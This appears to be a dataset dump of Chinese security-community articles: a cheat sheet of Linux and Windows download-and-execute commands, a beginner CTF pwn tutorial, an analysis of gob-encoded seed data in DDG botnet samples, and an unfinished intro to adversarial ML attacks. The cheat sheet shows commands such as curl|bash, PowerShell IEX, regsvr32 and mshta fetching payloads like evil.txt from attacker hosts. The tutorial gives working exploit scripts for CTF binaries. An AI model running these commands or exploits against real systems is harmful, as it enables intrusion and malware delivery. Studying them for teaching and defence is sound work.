text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**作者：Bypass
公众号：[Bypass](https://mp.weixin.qq.com/s/pz6y8299gMUOgtZjZv5puw)**
### 前言
在渗透过程中，攻击者往往需要通过命令下载执行恶意代码，实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。
在目标主机执行恶意代码，可以分为上传/下载并执行恶意代码和无文件远程恶意代码执行。接下来，我们来总结一下Linux和Windows中下载和执行恶意代码的一些姿势。
### 一、Linux 远程恶意代码执行
###### 01、curl
以用curl的方式执行http页面上的shell脚本，无需download，在本地机器上直接执行。
方式1：curl -fsSL http://192.168.99.19:8080/test.sh | bash
方式2：bash < <( curl http://192.168.99.19:8080/test.sh )
###### 02、wget
执行wget命令远程下载恶意程序。
方式1：wget -q -O- http://192.168.99.19:8080/test.sh | bash
方式2：wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
curl+wget合并，实现无文件远程恶意代码执行。
bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||
wget -q -O- http://192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'
###### 03、rcp
rcp命令用于复制远程文件或目录。
rcp [email protected]:./testfile testfile
###### 04、scp
scp 是 rcp 的加强版，scp 是加密的，rcp 是不加密的。
scp username@servername:/path/filename /tmp/local_destination
###### 05、rsync
使用rsync可以进行远程同步，拉取文件到本地服务器。
rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt
###### 06、sftp
使用sftp下载远程服务器上的文件。
sftp [email protected] <<EOF
get /tmp/2.txt
quit
EOF
### 二、Windows 远程恶意代码执行
###### 01、Powershell
利用powershell远程执行ps1脚本。
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/evil.txt'))"
###### 02、Bitsadmin
利用bitsadmin命令下载文件到目标机器。
bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt
###### 03、certutil
用于备份证书服务，一般建议下载完文件后对缓存进行删除。
#下载文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
###### 04、rundll32
使用rundll32.exe，可以通过mshtml.dll执行JavaScript ，依赖于WScript.shell这个组件
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
###### 05、regsvr32
远程加载执行，解析.src文件。
regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll
###### 06、wmic
执行WMIC以下命令从远程服务器下载并运行恶意XSL文件：
wmic os get /FORMAT:"http://192.168.28.128/evil.xsl"
###### 07、msiexec
用于安装Windows Installer安装包，可远程执行msi文件。
msiexec /q /i http://192.168.28.128/evil.msi
###### 08、IEExec
IEexec.exe应用程序是.NET Framework附带程序，运行IEExec.exe并使用url启动其他程序。
crosoft.NET\Framework64\v2.0.50727>caspol.exe -s off
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe
###### 09、mshta
mshta用于执行.hta文件
mshta http://192.168.28.128/run.hta
###### 10、msxsl
msxsl.exe是微软用于命令行下处理XSL的一个程序
msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl
###### 11、pubprn.vbs
在Windows 7以上版本存在一个名为pubprn.vbs的微软已签名WSH脚本，可以利用来解析.sct脚本：
"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
* * * | 社区文章 |
本文为笔者初学pwn的知识梳理，如有错误之处，敬请斧正。
* * *
### 栈溢出漏洞
#### 原理
栈是一种后进先出的数据结构。在调用函数的时候，都会伴随着函数栈帧的开辟和还原（也称平栈）。栈结构示意图如下（以32位程序为例）：
如图所示，栈空间是从高地址向低地址增长的。但是，若函数中用到了数组作为局部变量时，向数组的赋值时的增长方向是从低地址到高地址的，与栈的增长方向相反。若对未限制数组的赋值边界，则可能对数组进行恶意的越界写入，便会把栈中的数据覆盖，造成栈溢出漏洞。常用的造成栈溢出漏洞的函数有：scanf,gets,strcpy,strcat,sprintf等。
如果对覆盖栈的内容进行精心构造，就可以在返回地址的位置填入我们希望函数返回的位置，从而劫持程序的执行。由于在编写栈利用 shellcode
过程中都需要用到ret指令，所以这样的利用方式被成为ROP。
#### 面对返回编程
ROP(Return-oriented programming)是指面向返回编程。在32位系统的汇编语言中，ret相当于pop EIP，即将栈顶的数据赋值给
EIP，并从栈弹出。所以如果控制栈中数据，是可以控制程序的执行流的。由于 NX 保护让我们无法直接执行栈上的
shellcode，那么就可以考虑在程序的可执行的段中通过 ROP 技术执行我们的 shellcode。初级的 ROP 技术包括
ret2text，ret2shellcode，ret2syscall，ret2libc。
#### ret2text
ret2text是指返回到代码段执行已有的代码。在 pwn 题中这种情况通常出现在程序里已经有system("/bin/sh")或system("cat
flag")。需要做的就是把这些调用的地址覆盖到返回地址处即可。
下面使用攻防世界中的 level0 题目作为例子进行解释。
checksec 指令查看程序的保护情况，有 NX 保护（No-eXecute，即数据不可执行保护）。考虑使用 ROP 技术进行利用。
漏洞代码：
可以看到，read函数可以读取0x200字节存入缓冲区，但是缓冲区只有0x80字节，可造成越界写入。
system 函数：
使用 pwndgb 插件的 cyclic 指令确定出返回的偏移为
136，所以构造填充字符大小为136个字节，后面紧接的便是返回的地址。控制这个返回的地址即可控制程序的执行流执行到我们指定的 system 函数。
EXP如下：
from pwn import *
r = remote("111.200.241.244", 57216)
payload = 'A' * 136 + p64(0x00400596)
r.sendlineafter("Hello, World\n", payload)
r.interactive()
在本地调试时执行脚本后可以看到，在执行vulnerable_function执行返回时， 0x88(136) 的位置已经被修改为system函数的地址。
#### ret2shellcode
如果 pwn 题中没有提供system函数，我们可以自己编写 shellcode 来执行相关 system 函数。
在没有 NX 保护的情况下，可以直接将函数的返回地址覆盖为 shellcode 的地址，在函数返回时控制程序执行流到 shellcode 出执行。被覆盖
shellcode 后的栈空间的形态如下图所示（图中只展示一种 shellcode 的位置，但实际上可以根据具体情况选择）：
其中 padding 的长度可以使用 pwndbg 插件 中的 cyclic或者 peda 插件
pattern指令生成字符串模板并结合动态调试观察栈来确定。在 pwn 题目中，我们一般可以通过找到system函数地址，通过 shellcode
调用执行，就可以拿到 flag。所以在写 shellcode 过程中，我们按照 linux
系统调用的方式调用system函数的底层的sys_execve函数，传入/bin/sh作为参数即可。shellcode 可以使用 pwntools
工具编写，若需要更精简或特殊定制的
shellcode，也可以自己编写。具体的编写方式可以参考博客<https://www.cxyzjd.com/article/A951860555/110936441。需注意的是，在生成>
shellcode 之后需要进行字符的填充，使其保证具有足够的字节数覆盖到返回地址处。
我们用以下例子进行演示说明：
#include<stdio.h>
void func(){
asm("jmp *%rsp");
}
int main()
{
char buf[200];
printf("what do you want? ");
gets(buf);
puts(buf);
return 0;
}
编译注意禁用所有保护：
gcc -no-pie -fno-stack-protector -zexecstack -o ret2shellcode ret2shellcode.c
从源码中可以看出在栈的buf字符数组处有溢出，并且有后门指令进行利用。然后设计 payload 如下面 exp 所示，目的是将 jmp_rsp 的指令填充到
main 函数返回地址中，从而控制程序执行。"A" * 0xd8是填充字符，目的是为了对齐 shellcode 到 rsp 的地址上。
exp：
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = process("./ret2shellcode")
elf = ELF("./ret2shellcode")
jmp_esp = elf.search(asm('jmp rsp')).next()
shellcode = asm(shellcraft.sh())
payload = "A" * 0xd8 + p64(jmp_esp) + shellcode
p.sendline(payload)
p.interactive()
#### ret2syscall
在ret2shellcode的例子中，若开始了 NX 保护，写入到栈中的 shellcode
将不可执行。在这种情况下，我们可以尝试使用ret2syscall的方法。ret2syscall是指通过收集带有ret指令的 gadgets(指令片段)
拼接成我们所需要的 shellcode。在此先贴出32位下的调用execve("/bin/sh",NULL,NULL)的 shellcode（涉及
Linux 系统调用方式不清楚可自行搜索）：
// 字符串：/bin//sh
push 0x68
push 0x732f2f2f
push 0x6e69622f
// ebx ecx edx 传参
mov ebx,esp
xor ecx,ecx
xor edx,edx
// eax = 系统调用号
push 11
pop eax
// Linux 系统调用
int 0x80
然后我们可以通过ROPgadget命令来找到程序中是否有对应上面指令的 gadgets：
ROPgadget --binary ./ret2syscall --string /bin/sh
ROPgadget --binary ./ret2syscall --only "pop|pop|pop|ret"|grep "edx"|grep "ebx"|grep "ecx"
ROPgadget --binary ./ret2syscall --only "pop|ret"|grep eax
ROPgadget --binary ./ret2syscall --only "int"|grep "0x80"
我们以 Github 上ctf-wiki项目中的题目来举例，项目地址是<https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall。>
源码如下，明显的栈溢出漏洞：
#include <stdio.h>
#include <stdlib.h>
char *shell = "/bin/sh";
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("This time, no system() and NO SHELLCODE!!!\n");
printf("What do you plan to do?\n");
gets(buf);
return 0;
}
查看保护发现只有 NX 保护，手动查看对应 gadgets 的地址：
利用思路：将收集到的 gadgets 按照顺序组合成 payload。payload 发送后缓冲区的情况如图所示，箭头指向是指程序以 ret 导向的执行流。
最终EXP如下：
from pwn import *
p = process("./ret2syscall")
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
bin_sh = p32(0x080be408)
int_0x80 = p32(0x08049421)
offset = 112
payload=flat(['a'*offset, pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, bin_sh,int_0x80])
p.sendline(payload)
p.interactive()
#### ret2libc
如果程序中没有后门，开启了 NX 保护，没有足够的 gadgets 来构造
shellcode，那么以上的方法都没办法使用，可以使用一种更复杂，限制更小的利用方式ret2libc。ret2libc是指将程序返回 libc，直接调用
libc 的函数。所以首先需要获取到 libc 中函数的地址。同一版本 libc 的偏移相对 libc 基址是确定的。如果需要调用 libc
的函数，就需要确定 libc 的基址和函数偏移。函数偏移可以通过在文件中的偏移得出，知道了 libc 版本则可以认为是已知的。但是 libc
的加载基址是随机加载的，所以需要先确定 libc 的加载基址。
获取 libc 的加载基址的方法：从程序 got 表中获取到函数的实时地址，减去相应版本的 libc
中函数在文件中的偏移，即可知道libc的基址（这里涉及PLT表和GOT表的相关知识，可以查看<https://zhuanlan.zhihu.com/p/130271689了解）。>
因此，我们的思路是，只需要泄露出一个函数的地址，就通过LibcSearcher(<https://github.com/lieanu/LibcSearcher)项目知道对应的>
libc 版本。然后计算某个函数的实时地址和对应 libc 中的这个函数地址的偏移，可以计算出 libc 加载基址。通过 libc
基址，加上需要调用的函数（通常为system函数）在 libc 中的偏移，就可以知道当前所需函数的地址。
以攻防世界题目 pwn-100 进行举例说明：
程序分析：read 函数可以导致栈溢出，只有读取到200个字符才会退出循环。但是缓冲区是只有64字节的。
利用思路：利用read函数的栈溢出漏洞，调用到puts函数将read函数的 got
地址泄露出来。接着将程序重新导回到main函数重新执行，制造二次溢出。获取到read的 got 地址之后，即可使用LibcSearcher项目获取到
libc 的版本。获取到 libc 版本之后通过计算得出system函数的地址。接着二次溢出时就可以调用system函数获取到 shell。
EXP如下：
from pwn import *
from LibcSearcher import *
p = remote("111.200.241.244","64745")
elf = ELF('/mnt/hgfs/pwn-100')
context.log_level='debug'
addr_pop_rdi = 0x400763
addr_main = 0x4006B8
# 用于获取 read 的 got 表地址，相当于调用 puts(elf.got['read'])，然后输出出来，并重新启动程序
payload = 'A' * 72 + p64(addr_pop_rdi) + p64(elf.got['read']) + p64(elf.symbols['puts']) + p64(addr_main) + 'A' * 96
p.send(payload)
p.recvuntil('\x0a')
# 获取返回地址
addr_read = p.recv()[:-1]
addr_read = u64(addr_read.ljust(8,'\x00'))
# 获取 libc 中的 system 中的函数
libc = LibcSearcher('read',addr_read)
addr_base = addr_read - libc.dump('read')
addr_sys = addr_base + libc.dump('system')
addr_sh = addr_base + libc.dump('str_bin_sh')
payload = 'A' * 72 + p64(addr_pop_rdi) + p64(addr_sh) + p64(addr_sys) + p64(addr_main) + 'A' * 96
p.send(payload)
p.interactive()
### 格式化字符串漏洞
#### 原理
格式化字符串函数是指一些程序设计语言的输入/输出库中能将字符串参数转换为另一种形式输出的函数。C语言中使用到格式化字符串的输出函数主要有printf
fprintf sprintf vprintf vfprint vsprintf 等。以printf函数为例，介绍格式化字符串漏洞的原理及利用。
printf函数的声明如下：
intprintf ( constchar*format, ... );
printf是一个变参函数，其实第一个参数就是格式化字符串，后面作为传入的参数将会根据格式化字符串的形式进行不同方式的解析并输出。其中在format中可以包含以转换指示符%为开头的格式化标签(format
specifiers) ，格式化标签可以被后面传入的附加参数的值替换，并按需求进行格式化。格式化标签的使用形式是：
%[flags][width][.precision][length]specifier
这里主要介绍 pwn 中常用到的转换指示符：
正常调用函数的情况下，在格式化字符串中包含的指示符数量%，应该与后面传入参数的数量相等。在格式化字符串匹配参数时，会按照调用函数的传参顺序逐一匹配。
我们可以通过观察调用函数时栈的情况来了解格式化字符串中指示符和其他参数的对应情况。
source.c ：
#include <stdio.h>
void main(){
printf("%x\n%x\n%x\n%x\n%x\n%x\n%3$x\n",
0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x55555555, 0x66666666);
}
32位程序的传参情况如下：
输出：
11111111
22222222
33333333
44444444
55555555
66666666
33333333
32位情况下，参数有栈传递，需格式化输出的参数都在存在在栈空间和格式化字符串相邻。这里介绍%3$x，表示输出格式化字符串后面的第三个参数。
64位程序的传参情况：
输出结果同32位程序。
得出结论：格式化字符串存放在rdi寄存器中，格式化字符串后的前五个参数对应存放在 rsi rdx rcx r8 r9，第六个之后的参数会入栈，以此类推。
在非正常调用格式化输出函数的情况下，会出现以下的代码：
voidmain(){
char* str = NULL;
scanf("%s",str);
printf(str);
}
这样直接将格式化字符串暴露出来，可以通过构造特定形式的输入字符串达到泄露栈上信息和任意修改内存的效果。
#### 利用1：泄露信息
向程序输入如%x%x%x%x%x%x便可获取到栈帧中并不属于printf函数的栈数据。如果计算好偏移，创建的可以获取到的信息有：数据的存放地址、函数地址、canary值等。
通过攻防世界题 Mary_Morton 的利用可以通过格式化字符串漏洞进行canary保护的绕过。关于 canary 保护的介绍可以查看 CTF-Wiki
的文章：<https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/>
查看保护：
主要逻辑：
可以发现有一个格式化字符串漏洞：
还有一个栈溢出漏洞：
因为有 canary 保护，栈溢出漏洞无法直接使用填充字符覆盖到返回地址，需要绕过 canary 保护。在此可以通过格式化字符串漏洞泄露 canary
值，然后在 shellcode 中伪造 canary 值进行绕过。
在调用printf之前下断点，断下来后查看栈空间如下图。可以看到 canary 在栈空间偏移 0x11
个参数的位置，由于是64位的程序，加上6个寄存器传参，canary 的位置距离第一个参数偏移是 23，所以构造传给printf的参数为"%23$p"。泄露出
canary 之后用于构造栈溢出的 shellcode，达到绕过的效果。
EXP如下：
from pwn import *
p = remote("111.200.241.244",51032)
p.sendlineafter("3. Exit the battle",'2')
payload1 = '%23$p'
p.sendline(payload1)
p.recvuntil('0x')
canary = int(p.recv()[:16],16)
print "output: " + str(canary)
canary_offset = 0x88
ret_offset = 0x98
get_flag_fun = 0x00000000004008DA
payload2 = canary_offset * 'a' + p64(canary) + (ret_offset-canary_offset-8)*'a' + p64(get_flag_fun)
p.sendlineafter("3. Exit the battle","1")
p.sendline(payload2)
p.interactive()
#### 利用2：修改内存
可以通过攻防世界的一道 pwn 练习题-实时数据检测来了解。
题目关键逻辑如下：
大概逻辑是，判断存放在内存中 key 的值与 35795746 进行对比，如果相等则直接可以 get shell，但是正常逻辑下，key
是一个不受输入影响的值。但是可以发现imagemagic函数中出现在格式化漏洞，题目设计得恰好可以通过利用这漏洞进行对 key 的修改。查看rip ==
call printf 语句的地址时的栈，可以看到 key 的地址在离格式化字符串偏移为 16 的位置上。所以给 printf
传递的格式化字符串的值为"%35795746x%16$n","0x0804A048"，指的是将一个十六进制数以 35795746 个字节的方式输出，输出的
35795746 个字节数写入到 0x0804A048指向的地址，即 key 的地址。从而达到了对 key 值进行修改的目的。
exp 如下：
from pwn import *
p = remote("111.200.241.244",48715)
key_addr = 0x0804A048
payload = '%35795746x%16$n\x00' + p32(0x0804A048)
p.sendline(payload)
p.interactive()
### 整数溢出漏洞
#### 原理
整数溢出是指：在计算机编程中，当算术运算试图创建一个超出可以用给定位数表示的范围（高于最大值或低于可表示的最小值）的数值时，就会发生整数溢出。了解整数溢出，需先了解整型数据在内存中的存储形式。
下表列出C语言中个整型数据的数值范围和分配的内存字节数（与编译器相关，以下是64位的值）：
整数溢出的利用因为只能改变固定字节的输入，所以无法造成代码执行的效果。整数溢出漏洞需要配合程序的另一处的缺陷，才能达到利用的目的。通过输入能控制的程序中的数值（通常为输入的字符串的长度），用于处理与内存操作相关的限制或界限，便可能通过控制数值，设计缓冲区溢出，达到控制程序执行流程。笔者总结相关造成溢出的原因主要是
**对数值运算结果范围的错估** 和 **存在缺陷的类型转换** 。
《CTF竞赛权威指南》中，将整数的异常情况分为三种：溢出，回绕和截断。有符号整数发生的是溢出，对应字节数的有符号整数，最大值+1，会成为最小值，最小值-1会成为最大值，此种情况可能绕过>0或<
0的检测；无符号整数发生的是回绕，最大值+1变为0，最小值-1变为最大值；截断则出现在将运算结果赋值给不恰当大小的整数数据类型和不当的类型转换的情况下。
#### 利用
下面以攻防世界中题目 int_overflow 为例介绍整数溢出漏洞的利用。主要逻辑如下：
从main函数可以看出，程序需要输入不超过19字节的username
和不超过199字节的passwd，进入check_passwd函数对passwd进行检查和保存。在通过strlen求输入字符串函数时，用了byte类型来接收返回值。strlen函数的返回值类型是size_t，size_t是sizeof关键字的返回值类型。一般在32位系统下是4字节的无符号整型，64位系统下是8字节的无符号整型。这里存在从size_t到byte类型的整型隐式转换。汇编上表示就是通过直接截取了al寄存器的值来接收strlen的返回值。结合前面限定的长度小于
0x199 个字符的限定，只需要保证最后一个字节大于3并小于8，那么任何一个长度大于 0x103 且小于 0x108
的字符串都可以非法绕过strcpy的长度检测。strcpy的目标缓冲区大小为11，通过构造的恶意长度的字符串足够可以造成栈溢出，之后便可通过覆盖返回地址达到对程序的控制。exp
如下所示：
frompwnimport*
p=remote('111.200.241.244',52212)
p.sendlineafter("choice:",'1')
p.sendlineafter("username:","bbb")
system_addr = 0x8048699
cat_flag = 0x08048960
payload = 'a'*24 + p32(system_addr) + p32(cat_flag) + p32(0xbbbbbbbb) + 'a' * (0x104-24-4*2)
p.sendlineafter("passwd:",payload)
p.interactive()
### 结语
一入 pwn
门深似海，感谢references中的资源作者的分享，还有网上关于分析pwn的帖子，让我的学习少走不少弯路。因此，笔者把学习过程中的知识粗做整理，希望对初学者有所帮助，如有错误之处，敬请斧正。
### 参考资料
《CTF竞赛权威指南》，杨超
看雪课程：《零基础入门pwn》
<https://github.com/ctf-wiki>
<https://ctf-wiki.org/pwn/linux/user-mode/environment/>
<https://cs155.stanford.edu/papers/formatstring-1.2.pdf>
**了解更多相关信息，关注公众号“墨云安全”，关注更智能的网络攻防！** | 社区文章 |
# 以 DDG v4005 样本为例浅谈 Golang gob 序列化数据的逆向解码
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 概述
DDG 是一个 一直活跃的挖矿僵尸网络，其主样本由 Go 语言编写。它最新活跃的版本中用基于 Gossip 协议实现集群管理的第三方库
**[Memberlist](https://github.com/hashicorp/memberlist)** 把整个僵尸网络构建成了一个非典型的
P2P 结构。关于其 P2P 网络结构以及如何基于 P2P 特性追踪该僵尸网络，我在以前的两篇文章中有详细描述：
1. [以P2P的方式追踪 DDG 僵尸网络(上)](https://www.anquanke.com/post/id/177665)
2. [以P2P的方式追踪 DDG 僵尸网络(下)](https://www.anquanke.com/post/id/177742)
11.6 日晚上，我的 DDG 挖矿僵尸网络追踪程序检测到 DDG 家族更新到了版本 4005，IoC 如下：
> **MD5:**
>
> * 64c6692496110c0bdce7be1bc7cffd47 ddgs.i686
> * 638061d2a06ebdfc82a189cf027d8136 ddgs.x86_64
>
>
> **CC** :
>
> * 67.207.95[.]103:8000
> * 103.219.112[.]66:8000
>
经过简单的分析，新版恶意样本的关键行为与旧版本差异不大，以前部署的追踪程序依然能持续追踪。不过其中一个小的技术点引起了我的注意。
以前说过，DDG 样本为了通过 Memberlist 库加入 P2P 网络(函数 `Memberlist.join()`)，需要一批初始的 P2P
Nodes ，新的样本代表的 P2P 节点会通过这些初始的 P2P Nodes 加入 P2P 网络。在旧版样本中，这些初始的 P2P Nodes 被称为
**Hub List** ，其中约有 200 个 节点 IP 地址，这一份 IP 列表以 Hex 数组形式硬编码保存在样本中。而新版 DDG 样本中则把这些
P2P Nodes 称为 **Seeds** (Memberlist 库 `Join()` 函数的 ”种子“)，这些 Seeds 用 [Golang
gob](https://blog.golang.org/gobs-of-data) 序列化编码后再硬编码保存在样本中，样本里还用一组
`ddgs_network__mlUtils_*` 函数来处理这些 Seeds：
对于旧版样本的做法，定位到 Hub List 数据后，在 IDAPro 中逆向分析样本时直接用 IDAPython 脚本将 Hex 形式的 IP
地址转成点分十进制表示即可一目了然把这些 IP 提取出来，但新版样本中这些数据被 gob 序列化编码过，该怎么提取？
## 2\. gob 序列化编码
gob( **Go Binary** 的简称)，是 Go 语言自带的序列化编码方案，用法简洁，灵活性和效率很高，也有一定的扩展性。可以类比 Python 的
Pickle，用来对结构化数据进行序列化编解码以方便数据传输。由于 gob 是 Go 独有的，并没有现成的 Python 接口，所以想用 Python 在
IDAPro 中直接解码不太现实，就只好手动把编码过的二进制数据从样本中 Dump 出来，然后写 Go 程序来解码。
使用 gob 对数据编码，一般是发送端针对已定义好结构的数据进行编码后发送；接收端收到二进制数据后，按照与发送端 **兼容**
的数据结构进行解码(不一定是完全相同的结构定义，但数据类型以及数量要兼容发送端的数据结构定义，这个 **兼容** 则体现了 gob
的灵活性)。一个简单的数据结构如下所示：
type S struct {
X, Y, Z int
Name string
L []string
}
所以，要逆向分析经 gob 序列化编码过的数据，对数据进行精准解码，最大的难点在于逆向出 Go 语言形式的数据结构定义。
gob 的用法不是本文重点，可以参考[官方介绍](https://blog.golang.org/gobs-of-data)
与这一篇[中文详解](https://www.bitlogs.tech/2019/08/go-encoding/gob/) 。
## 3\. 恶意样本中的数据解码过程
以样本 ddgs.x86_64(MD5: **638061d2a06ebdfc82a189cf027d8136** ) 为例，在函数
`ddgs_network__mlUtils_JoinAll()` 中，通过对 `Memberlist.Join()`
函数的调用，即可顺藤摸瓜找到数据解码以及转换的函数：
最上面的 `ddgs_network__mlUtils_Seeds()` 函数中，可以看到样本中经 gob
序列化编码的数据地址与长度，样本先是读取这一段数据，然后用 gob 进行解码：
在 IDAPro 中逆向分析样本，无法还原数据的结构定义。我们把这段数据手动 Dump 出来看看：
可以看到高亮的两个字段名： **IP** 和 **Port**
。到这里就有点灵感了，我们再看看解密后的数据是如何使用的，就能看出这些数据到底是什么结构了。在函数
`ddgs_network__mlUtils_Seeds()` 中继续往下看，会发现样本为了把这些 Seed Nodes 列表输出到日志中，用
`ddgs_network__mlUtils_Seeds_func1()` 函数把解密后的数据做了解析、重组：
在函数`ddgs_network__mlUtils_Seeds_func1()` 中，样本内部把解密后的数据以循环处理的方式，依次调用
`ddgs_network__seedNode_Address()` 函数来解析成字符串，并把每个代表 Seed Node 的字符串用竖线 **|**
连接起来：
看来逆向出数据结构定义的关键就是 `ddgs_network__seedNode_Address()` 函数函数了：
可以看到 `ddgs_network__seedNode_Address()` 函数中，对每一个 Seed Node 对象都做两部分处理：第一个成员是用
Go 标准库 `net.IP.String()` 函数将 `net.IP` 对象转化为 String 类型；第二个成员是直接转化为 64bit
整型值。最后将 String 类型的 IP 地址与整型的 Port 值串成一个 `IP:Port` 结构的字符串来代表一个 Seed Node。
这正好跟前文用 Hexdump 查看 Raw 二进制数据里的两个字段 **IP** 和 **Port** 对上了。
至此，我们就可以断定，这些 gob 编码数据的 **基础结构定义** 应该如下所示：
import "net"
type SeedNode struct {
IP net.IP
Port int64
}
## 4\. 完成数据解码
上面我们分析出了编码数据原始的 **基础结构定义** ，之所以说是 **基础** ，是因为这个结构定义只代表 **单个 Seed Node**
，而这些数据是 **一批 Seed Node** 的列表。要想写程序完成最终的数据解码，还需要用 Go
的数组或切片把上面的数据结构定义封装一下。最终的数据解码代码关键部分示例如下：
type SeedNode struct {
IP net.IP
Port int64
}
// Open the dumped raw data file
fd, fdErr := os.OpenFile("raw_data.dump", os.O_RDONLY, 0644)
br := bufio.NewReader(fd)
dec := gob.NewDecoder(br)
// make Seed Node slice
var d []SeedNode
decErr := dec.Decode(&d)
for _, seedNode := range d {
fmt.Printf("%s:%dn", seedNode.IP, seedNode.Port)
}
完整代码链接：
<https://github.com/0xjiayu/decode_gob_in_ddgs_v4005/blob/master/hubs_dump.go>
## 5\. 辅助工具——degob
DDG v4005 的样本中涉及的 gob 数据编码，原始数据结构简单，逆向难度不高。如果遇到结构更复杂的数据经 gob
序列化编码，逆向难度肯定要增加。如果有一款工具可以自动化把任意 gob 序列化后的数据还原，最好不过了。
Google 一番，我找到了一个还算理想的工具，degob，专为逆向分析 gob 编码数据而生：
<https://gitlab.com/drosseau/degob>
不过 degob 并不完美，它只能解析出 Go 最底层的数据类型。比如本文中用到的 `net.IP`，定义为：
type IP []byte
那么 degob 解析数据的时候，就会把 `net.IP` 这一个成员表示为 `[]byte`，至于这个 `[]byte` 的 **高层结构类型**
代表什么，还需要结合样本逆向来确认。比如我逆向时发现样本中用 `net.IP.String()` 函数来解析这个数据成员，那么就可以确定，degob
解析出来的 `[]byte` ，其实就是 `net.IP`。degob 解析上述 Raw Data，得出的数据结构定义为：
// []Anon65_5e8660ee
// type ID: 65
type Anon65_5e8660ee struct {
IP []byte
Port int64
}
然后就是 degob 解出来的部分数据(不完美解析，需要结合样本逆向才能确认 IP 的真实结构类型)：
不过，这个 degob 两年没更新了，作者可能也不维护了，在它的 **cmds/degob/main.go** 文件中还有一个 Bug，命令行参数把
**inFile** 误写成了 **outFile** ：
## 6\. 总结
DDG 的恶意样本中还有另外一个序列化数据的解码，即用 [msgPack](https://msgpack.org/) 编码的云端配置数据。如果要用
msgPack 的 Go 语言 SDK 去解码这个配置文件，需要逆向分析出更复杂的配置数据结构定义(在 [以P2P的方式追踪 DDG
僵尸网络(下)](https://www.anquanke.com/post/id/177742) 一文中有详细阐述)。不过好在 msgPack
是个通用的序列化编码方案，除了 Go，还支持其他语言，比如 Python。更方便的是，用 msgPack for Python
来对序列化数据进行解码并不需要预先知道数据结构定义即可直接解码，这就大大降低了逆向工作的难度。
然而 gob 序列化只属于 Go 语言自有，并没有其他语言的 SDK，要想逆向解码 gob
序列化编码过的二进制数据数据，就必须分析出原始的数据结构定义。这样来看， gob 序列化数据逆向解码并没有万全之策，即使有 degob
这种工具的加持，也得结合样本逆向分析才能精准解析、还原明文数据。
本文用到的 Go 语言程序、从样本中提取的 gob 编码的原始二进制数据以及样本运行时的 debug 日志，都上传到 Github，感兴趣的师傅自取：
<https://github.com/0xjiayu/decode_gob_in_ddgs_v4005> | 社区文章 |
# 人工智能的梦魇：对抗攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
对于人工智能系统而言，对抗样本的存在是其面临最大的威胁之一，因为对抗样本仅需要针对模型生成特定扰动即可，而相比之下，数据投毒等攻击手段还需要攻击者可以控制训练集等，对攻击者的假设更强，在实际中对抗攻击是更容易出现的。本文试图对CV领域的对抗攻击技术做一个全面的介绍，首先会介绍重要的背景知识，包括距离度量、攻击者假设(攻击者知识、能力等)、对抗样本存在的本质原因以及对抗样本迁移性相关背景，之后会介绍一些典型的对抗攻击技术并给出实际攻击效果。
## 相关知识
### 距离度量
对抗样本x’与原样本x在特定的距离度量方式下需要很接近，常用的就是Lp范数度量，两者之间的距离表示为：
||||p定义为：
Lp范数不是一个范数，而是一组范数，根据p的不同，范数也不同，下图是一个讲点关于p范数的变化图
上图所示是p从无穷变化为0时，三维空间中到圆点的距离为1的点构成的图形的变化情况。
对于连续数据的测量，L0距离表示修改的原样本中的元素的数量，L2则是x‘和x之间的欧式距离，而L_infty是用的最多的，其测量的是x’和x之间的对应元素值最大的差异。而对于离散数据，可以用其他距离度量，比如删除点数、语义相似度等。
### 攻击者知识
为了发动对抗攻击，攻击者可能需要有以下知识：
全部或部分训练集
样本的特征表示
模型具体结构
模型输出
……
### 攻击者能力
这里注意区分攻击者能力和攻击者知识，攻击者知识是攻击者掌握的情况，攻击者能力则是攻击者在一定约束情况下可以采取的方案，包括但不限于如下：
修改输入样本
修改特征向量
……
### 本质
对抗样本之所以会存在目前主要有以下代表性的解释
**流形中的低概率区域[1]**
这类解释认为对抗样本是从总体样本所在概率空间的某一子空间中抽样得到的，而模型在训练阶段因为训练样本有限，只学习了一些局部的子空间，对抗样本超出了模型能学习的概率分布所在支集。如下所示，对抗样本可能存在于某些低概率区域中。
**线性原因[9]**
这类解释认为高维空间的线性模型是生成对抗样本的原因。假设给定输入以及对抗样本，我们来考虑权重向量和对抗样本的內积：
